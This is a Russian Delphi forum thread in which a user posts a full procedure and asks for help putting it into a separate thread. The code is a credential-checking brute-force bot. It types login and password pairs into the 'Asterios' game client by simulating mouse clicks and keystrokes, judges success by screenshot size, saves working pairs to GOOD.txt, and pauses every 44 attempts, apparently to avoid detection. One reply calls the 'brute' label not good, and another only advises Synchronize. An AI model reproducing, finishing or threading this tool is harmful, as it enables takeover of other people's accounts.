Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 28.06.2011, 20:30
ApxaHGe1 ApxaHGe1 вне форума
Активный
 
Регистрация: 08.04.2008
Адрес: Нижний новгород
Сообщения: 311
Репутация: 38
По умолчанию Помощь с потоком

Многоуважаемые форумчане, ни кто не мог бы засунуть мой код в поток, что бы он нормально работал там ? сам с потоками вообще = 0 читал и не понимаю, пытался сам засунуть, результат нулевой

Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
Stop:= false;
//stop:=false;
//Button1.Caption:='Продолжить брут';
//Button1.Visible:=False;
//Button5.Visible:=True;
//Stop:=True;
if Stop = False then
begin
Button5.Visible:=True;
button1.Visible:=False;
Button1.Caption:='Продолжить брут';
//////////////////////////////////////////////////////
if start_pos <> 0 then
begin
try
//Button1.Enabled:=False;
//Button2.Enabled:=False;
  GetKeyboardLayoutName(Layout);
  if Layout <> '00000409' then
  begin
    LoadKeyboardLayout('00000409', klf_activate);                 
    ActivateKeyboardLayout(LoadKeyboardLayout('00000409', 0), 0);
    Sleep(100);
  end;
lost:=0+start_pos;
if not FileExists(ExtractFileDir(ParamStr(0))+'\GOOD.txt') then
begin
AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt');
Rewrite(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt');
CloseFile(acc);
end;
cnt:=0;
pause:=0;
Form1.Left := 630;
Form1.Top  := 40;
SetWindowPos(FindWindow(nil, 'Asterios '), HWND_TOP, 0, 0, 600, 600, SWP_SHOWWINDOW);
sleep(1500);
for x:=start_pos to ListBox1.Items.Count - 1 do
begin
login:=ListBox1.Items.Strings[x];
password:=ListBox2.Items.Strings[x];
Label1.Caption:='Текущий логин - '+login;
Label2.Caption:='Текущий пароль - '+password;
//Ставим курсор на поле ввода Логина
GetCursorPos(pt);
SetCursorPos(320,317); //Поле ввода логина
GetCursorPos(pt);
//Клик наполе логина
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
//Ввод логина в поле ввода
    for i := 1 to length(login) do
    begin
      Sleep(200);
      if login[i] in ['A'..'Z'] then
      begin
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
      end
      else
      begin
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
      end;
    end;

    //Устанавливаем курсор на поле вода пароля
GetCursorPos(pt);
SetCursorPos(320,343);
GetCursorPos(pt);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
    for i := 1 to length(password) do
    begin
      Sleep(200);
      if password[i] in ['A'..'Z'] then
      begin
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
      end else begin
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
      end;
    end;
//Делаем клик по кнопке входа
GetCursorPos(pt);
SetCursorPos(250,370);
GetCursorPos(pt);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
Sleep(2000);
//Тут надо надо делать скриншот!
BM := TBitmap.Create;
jpg := TJpegImage.Create;
jpg.CompressionQuality := 50;
pname := login+' - '+password+'.jpg';
if FileExists(ExtractFileDir(ParamStr(0))+'\'+pname) then DeleteFile(ExtractFileDir(ParamStr(0))+'\Screenshots\'+pname);
try
ScreenShotActiveWindow(BM);
Sleep(100);
jpg.Assign(BM);
jpg.SaveToFile(ExtractFileDir(ParamStr(0))+'\'+pname);
Application.ProcessMessages;
finally
BM.Free;
jpg.free;
end;
//Проверим размер файла скриншота!
SizeOfApp := GetFileSize(ExtractFileDir(ParamStr(0))+'\'+pname);
check:=SizeOfApp div 1024;
if check > 50 then
begin
cnt:=cnt+1;
Label3.Caption:='Успешных аккуантов - '+IntToStr(cnt);
AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt');
Append(acc);
WriteLn(acc,login+':'+password);
CloseFile(acc);
end;
//Ставим курсор на кнопку отказа
Sleep(100);
GetCursorPos(pt);
SetCursorPos(340,520);
GetCursorPos(pt);
SetCursorPos(340,520);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
Sleep(100);
DeleteFile(ExtractFileDir(ParamStr(0))+'\'+pname);
inc(lost);
Label5.Caption:='Осталось аккуантов - '+IntToStr((ListBox1.Items.Count-1) - Lost);
Sleep (StrToInt(Edit1.TExt));
if lost = 44 then
begin
pause:=pause+44;
Label1.Caption:='Текущий логин - [Пауза 10 минут]';
Label2.Caption:='Текущий пароль - [Пауза 10 минут]';
Application.ProcessMessages;
Sleep(600000);
pause:=pause+44;
end;

if pause = pause+44 then
begin
Label1.Caption:='Текущий логин - [Пауза 10 минут]';
Label2.Caption:='Текущий пароль - [Пауза 10 минут]';
Application.ProcessMessages;
Sleep(600000);
end;

if lost = ListBox1.Items.Count-1 then
begin
Label1.Caption:='Текущий логин - [Завершено]';
Label2.Caption:='Текущий пароль - [Завершено]';
end;
if CheckBox1.Checked = True then
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end;
end;
except
end;
end
else
try
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
 Button1.Enabled:=False;
Button2.Enabled:=False;
  GetKeyboardLayoutName(Layout);
  if Layout <> '00000409' then
  begin
    LoadKeyboardLayout('00000409', klf_activate);                 
    ActivateKeyboardLayout(LoadKeyboardLayout('00000409', 0), 0);
    Sleep(100);
  end;
if not FileExists(ExtractFileDir(ParamStr(0))+'\GOOD.txt') then
begin
AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt');
Rewrite(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt');
CloseFile(acc);
end;
cnt:=0;
pause:=0;
Form1.Left := 630;
Form1.Top  := 40;
SetWindowPos(FindWindow(nil, 'Asterios '), HWND_TOP, 0, 0, 600, 600, SWP_SHOWWINDOW);
sleep(1500);
for x:=0 to ListBox1.Items.Count - 1 do
begin
login:=ListBox1.Items.Strings[x];
password:=ListBox2.Items.Strings[x];
Label1.Caption:='Текущий логин - '+login;
Label2.Caption:='Текущий пароль - '+password;
//Ставим курсор на поле ввода Логина
GetCursorPos(pt);
SetCursorPos(320,317); //Поле ввода логина
GetCursorPos(pt);
//Клик наполе логина
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
//Ввод логина в поле ввода
    for i := 1 to length(login) do
    begin
      Sleep(200);
      if login[i] in ['A'..'Z'] then
      begin
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
      end else begin
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
      end;
    end;
//Устанавливаем курсор на поле вода пароля
Ответить с цитированием
  #2  
Старый 28.06.2011, 20:31
ApxaHGe1 ApxaHGe1 вне форума
Активный
 
Регистрация: 08.04.2008
Адрес: Нижний новгород
Сообщения: 311
Репутация: 38
По умолчанию

Код:
GetCursorPos(pt);
SetCursorPos(320,343);
GetCursorPos(pt);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
    for i := 1 to length(password) do
    begin
      Sleep(200);
      if password[i] in ['A'..'Z'] then
      begin
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
      end else begin
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
      end;
    end;
//Делаем клик по кнопке входа
GetCursorPos(pt);
SetCursorPos(250,370);
GetCursorPos(pt);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
Sleep(2000);
//Тут надо надо делать скриншот!
BM := TBitmap.Create;
jpg := TJpegImage.Create;
jpg.CompressionQuality := 50;
pname := login+' - '+password+'.jpg';
if FileExists(ExtractFileDir(ParamStr(0))+'\'+pname) then DeleteFile(ExtractFileDir(ParamStr(0))+'\Screenshots\'+pname);
try
ScreenShotActiveWindow(BM);
Sleep(100);
jpg.Assign(BM);
jpg.SaveToFile(ExtractFileDir(ParamStr(0))+'\'+pname);
Application.ProcessMessages;
finally
BM.Free;
jpg.free;
end;
//Проверим размер файла скриншота!
SizeOfApp := GetFileSize(ExtractFileDir(ParamStr(0))+'\'+pname);
check:=SizeOfApp div 1024;
if check > 50 then
begin
cnt:=cnt+1;
Label3.Caption:='Успешных аккуантов - '+IntToStr(cnt);
AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt');
Append(acc);
WriteLn(acc,login+':'+password);
CloseFile(acc);
end;
//Ставим курсор на кнопку отказа
Sleep(100);
GetCursorPos(pt);
SetCursorPos(340,520);
GetCursorPos(pt);
SetCursorPos(340,520);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(40);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;
Sleep(100);
DeleteFile(ExtractFileDir(ParamStr(0))+'\'+pname);
inc(lost);
Label5.Caption:='Осталось аккуантов - '+IntToStr((ListBox1.Items.Count-1) - Lost);
Sleep (StrToInt(Edit1.TExt));
if lost = 44 then
begin
pause:=pause+44;
Label1.Caption:='Текущий логин - [Пауза 10 минут]';
Label2.Caption:='Текущий пароль - [Пауза 10 минут]';
Application.ProcessMessages;
Sleep(600000);
pause:=pause+44;
end;

if pause = pause+44 then
begin
Label1.Caption:='Текущий логин - [Пауза 10 минут]';
Label2.Caption:='Текущий пароль - [Пауза 10 минут]';
Application.ProcessMessages;
Sleep(600000);
end;

if lost = ListBox1.Items.Count-1 then
begin
Label1.Caption:='Текущий логин - [Завершено]';
Label2.Caption:='Текущий пароль - [Завершено]';
end;
if CheckBox1.Checked = True then
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end;
end;
except
end;
if Stop = True then
begin
Exit;
end;
end;

end;
[/code]
Ответить с цитированием
  #3  
Старый 28.06.2011, 20:43
Аватар для ALexandr555
ALexandr555 ALexandr555 вне форума
Специалист
 
Регистрация: 09.10.2010
Адрес: Тольятти
Сообщения: 803
Версия Delphi: Delphi 7
Репутация: 2064
По умолчанию

Цитата:
Button1.Caption:='Продолжить брут';
это же вроде не хорошо

Цитата:
пытался сам засунуть, результат нулевой
покажи что там не так
Ответить с цитированием
  #4  
Старый 28.06.2011, 21:24
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию

делай синхронайз.
__________________
— Как тебя понимать?
— Понимать меня не обязательно. Обязательно меня любить и кормить вовремя.


На Delphi, увы, больше не программирую.
Рекомендуемая литература по программированию
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 10:26.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025